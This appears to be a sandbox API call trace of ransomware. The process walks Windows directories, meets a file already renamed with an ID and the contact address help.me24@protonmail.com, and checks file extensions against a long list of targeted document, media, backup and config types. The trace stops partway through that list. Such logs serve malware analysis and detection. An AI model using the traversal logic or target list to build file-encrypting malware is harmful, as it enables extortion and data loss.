	[0070.268] FindNextFileW (in: hFindFile=0x3121390, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0070.268] FindNextFileW (in: hFindFile=0x3121390, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0070.268] FindNextFileW (in: hFindFile=0x3121390, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0070.268] FindNextFileW (in: hFindFile=0x3121390, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0070.268] FindClose (in: hFindFile=0x3121390 | out: hFindFile=0x3121390) returned 1
	[0070.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.268] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0070.268] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0070.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.271] FindNextFileW (in: hFindFile=0x3121350, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0070.271] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d40048
	[0070.271] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0070.271] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x31214d0
	[0070.272] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0070.272] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0070.272] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0070.272] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1
	[0070.272] lstrlenW (lpString="S-1-5-18") returned 8
	[0070.272] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1
	[0070.272] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.272] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0070.272] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34e8cec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121790
	[0070.273] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34e8cec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.273] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34aad192, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34aad192, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e8cec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 1
	[0070.273] lstrlenW (lpString="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9") returned 53
	[0070.273] lstrlenW (lpString=".1cd") returned 4
	[0070.273] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.273] lstrlenW (lpString=".3ds") returned 4
	[0070.273] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.273] lstrlenW (lpString=".3fr") returned 4
	[0070.273] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.273] lstrlenW (lpString=".3g2") returned 4
	[0070.273] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.273] lstrlenW (lpString=".3gp") returned 4
	[0070.273] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.273] lstrlenW (lpString=".7z") returned 3
	[0070.273] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.273] lstrlenW (lpString=".accda") returned 6
	[0070.273] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.273] lstrlenW (lpString=".accdb") returned 6
	[0070.273] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.273] lstrlenW (lpString=".accdc") returned 6
	[0070.273] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.273] lstrlenW (lpString=".accde") returned 6
	[0070.273] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.273] lstrlenW (lpString=".accdt") returned 6
	[0070.273] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.273] lstrlenW (lpString=".accdw") returned 6
	[0070.273] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.274] lstrlenW (lpString=".adb") returned 4
	[0070.274] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".adp") returned 4
	[0070.274] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".ai") returned 3
	[0070.274] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.274] lstrlenW (lpString=".ai3") returned 4
	[0070.274] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".ai4") returned 4
	[0070.274] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".ai5") returned 4
	[0070.274] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".ai6") returned 4
	[0070.274] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".ai7") returned 4
	[0070.274] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".ai8") returned 4
	[0070.274] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".anim") returned 5
	[0070.274] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.274] lstrlenW (lpString=".arw") returned 4
	[0070.274] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.274] lstrlenW (lpString=".as") returned 3
	[0070.275] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.275] lstrlenW (lpString=".asa") returned 4
	[0070.275] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".asc") returned 4
	[0070.275] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".ascx") returned 5
	[0070.275] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.275] lstrlenW (lpString=".asm") returned 4
	[0070.275] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".asmx") returned 5
	[0070.275] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.275] lstrlenW (lpString=".asp") returned 4
	[0070.275] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".aspx") returned 5
	[0070.275] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.275] lstrlenW (lpString=".asr") returned 4
	[0070.275] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".asx") returned 4
	[0070.275] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".avi") returned 4
	[0070.275] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".avs") returned 4
	[0070.275] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".backup") returned 7
	[0070.275] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.275] lstrlenW (lpString=".bak") returned 4
	[0070.275] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.275] lstrlenW (lpString=".bay") returned 4
	[0070.275] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".bd") returned 3
	[0070.276] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.276] lstrlenW (lpString=".bin") returned 4
	[0070.276] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".bmp") returned 4
	[0070.276] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".bz2") returned 4
	[0070.276] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".c") returned 2
	[0070.276] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.276] lstrlenW (lpString=".cdr") returned 4
	[0070.276] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".cer") returned 4
	[0070.276] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".cf") returned 3
	[0070.276] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.276] lstrlenW (lpString=".cfc") returned 4
	[0070.276] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".cfm") returned 4
	[0070.276] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.276] lstrlenW (lpString=".cfml") returned 5
	[0070.276] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.276] lstrlenW (lpString=".cfu") returned 4
	[0070.276] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".chm") returned 4
	[0070.277] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".cin") returned 4
	[0070.277] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".class") returned 6
	[0070.277] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.277] lstrlenW (lpString=".clx") returned 4
	[0070.277] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".config") returned 7
	[0070.277] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.277] lstrlenW (lpString=".cpp") returned 4
	[0070.277] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".cr2") returned 4
	[0070.277] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".crt") returned 4
	[0070.277] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".crw") returned 4
	[0070.277] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".cs") returned 3
	[0070.277] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.277] lstrlenW (lpString=".css") returned 4
	[0070.277] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".csv") returned 4
	[0070.277] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.277] lstrlenW (lpString=".cub") returned 4
	[0070.277] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dae") returned 4
	[0070.278] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dat") returned 4
	[0070.278] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".db") returned 3
	[0070.278] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.278] lstrlenW (lpString=".dbf") returned 4
	[0070.278] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dbx") returned 4
	[0070.278] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dc3") returned 4
	[0070.278] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dcm") returned 4
	[0070.278] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dcr") returned 4
	[0070.278] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".der") returned 4
	[0070.278] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dib") returned 4
	[0070.278] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dic") returned 4
	[0070.278] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dif") returned 4
	[0070.278] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".divx") returned 5
	[0070.278] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.278] lstrlenW (lpString=".djvu") returned 5
	[0070.278] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.278] lstrlenW (lpString=".dng") returned 4
	[0070.278] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.278] lstrlenW (lpString=".doc") returned 4
	[0070.279] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.279] lstrlenW (lpString=".docm") returned 5
	[0070.279] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.279] lstrlenW (lpString=".docx") returned 5
	[0070.279] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dot") returned 4
	[0070.279] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dotm") returned 5
	[0070.279] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dotx") returned 5
	[0070.279] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dpx") returned 4
	[0070.279] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dqy") returned 4
	[0070.279] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dsn") returned 4
	[0070.279] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dt") returned 3
	[0070.279] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.279] lstrlenW (lpString=".dtd") returned 4
	[0070.279] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.279] lstrlenW (lpString=".dwg") returned 4
	[0070.279] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".dwt") returned 4
	[0070.280] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".dx") returned 3
	[0070.280] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.280] lstrlenW (lpString=".dxf") returned 4
	[0070.280] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".edml") returned 5
	[0070.280] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.280] lstrlenW (lpString=".efd") returned 4
	[0070.280] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".elf") returned 4
	[0070.280] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".emf") returned 4
	[0070.280] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".emz") returned 4
	[0070.280] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".epf") returned 4
	[0070.280] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".eps") returned 4
	[0070.280] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".epsf") returned 5
	[0070.280] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.280] lstrlenW (lpString=".epsp") returned 5
	[0070.280] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.280] lstrlenW (lpString=".erf") returned 4
	[0070.280] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.280] lstrlenW (lpString=".exr") returned 4
	[0070.280] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".f4v") returned 4
	[0070.281] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".fido") returned 5
	[0070.281] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.281] lstrlenW (lpString=".flm") returned 4
	[0070.281] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".flv") returned 4
	[0070.281] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".frm") returned 4
	[0070.281] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".fxg") returned 4
	[0070.281] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".geo") returned 4
	[0070.281] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".gif") returned 4
	[0070.281] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".grs") returned 4
	[0070.281] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".gz") returned 3
	[0070.281] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.281] lstrlenW (lpString=".h") returned 2
	[0070.281] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.281] lstrlenW (lpString=".hdr") returned 4
	[0070.281] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.281] lstrlenW (lpString=".hpp") returned 4
	[0070.282] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".hta") returned 4
	[0070.282] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".htc") returned 4
	[0070.282] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".htm") returned 4
	[0070.282] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".html") returned 5
	[0070.282] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.282] lstrlenW (lpString=".icb") returned 4
	[0070.282] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".ics") returned 4
	[0070.282] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".iff") returned 4
	[0070.282] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".inc") returned 4
	[0070.282] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".indd") returned 5
	[0070.282] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.282] lstrlenW (lpString=".ini") returned 4
	[0070.282] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".iqy") returned 4
	[0070.282] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.282] lstrlenW (lpString=".j2c") returned 4
	[0070.282] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".j2k") returned 4
	[0070.283] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".java") returned 5
	[0070.283] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jp2") returned 4
	[0070.283] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jpc") returned 4
	[0070.283] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jpe") returned 4
	[0070.283] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jpeg") returned 5
	[0070.283] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jpf") returned 4
	[0070.283] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jpg") returned 4
	[0070.283] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jpx") returned 4
	[0070.283] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".js") returned 3
	[0070.283] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.283] lstrlenW (lpString=".jsf") returned 4
	[0070.283] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".json") returned 5
	[0070.283] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.283] lstrlenW (lpString=".jsp") returned 4
	[0070.283] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.283] lstrlenW (lpString=".kdc") returned 4
	[0070.284] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.284] lstrlenW (lpString=".kmz") returned 4
	[0070.284] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.284] lstrlenW (lpString=".kwm") returned 4
	[0070.284] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.284] lstrlenW (lpString=".lasso") returned 6
	[0070.284] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.284] lstrlenW (lpString=".lbi") returned 4
	[0070.284] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.284] lstrlenW (lpString=".lgf") returned 4
	[0070.284] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.284] lstrlenW (lpString=".lgp") returned 4
	[0070.284] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.284] lstrlenW (lpString=".log") returned 4
	[0070.284] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".m1v") returned 4
	[0070.285] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".m4a") returned 4
	[0070.285] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".m4v") returned 4
	[0070.285] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".max") returned 4
	[0070.285] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
